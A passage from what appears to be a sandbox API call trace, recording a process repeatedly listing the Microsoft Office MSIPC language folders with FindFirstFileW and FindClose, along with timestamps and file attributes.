ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.498] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86755e30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.498] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914f42d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.506] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\da\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914f42d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.506] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x919dd030, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.508] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\de\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x919dd030, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.509] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80c494b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.510] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\el\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80c494b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.511] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85b6f030, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.512] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\en-us\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85b6f030, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.513] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b205070, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.514] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\es\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b205070, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.515] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c131cb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.516] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\et\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c131cb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.517] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fe7d330, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.518] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fe7d330, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.519] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0fa6d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.520] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0fa6d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.521] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c131cb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.523] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c131cb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.524] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87f23a30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.528] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87f23a30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.528] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x859f2270, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.530] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x859f2270, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.530] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9089b0b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.532] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9089b0b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.533] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853d8a10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.534] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853d8a10, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.534] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8525bc50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.536] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8525bc50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.536] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b59df0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.538] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b59df0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.538] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cb75b90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.540] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cb75b90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.541] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91d6f130, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.543] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91d6f130, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.544] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91c3e630, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d03fa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d03fa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.544] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\*", lpFindFileData=0x1ed730 | out: 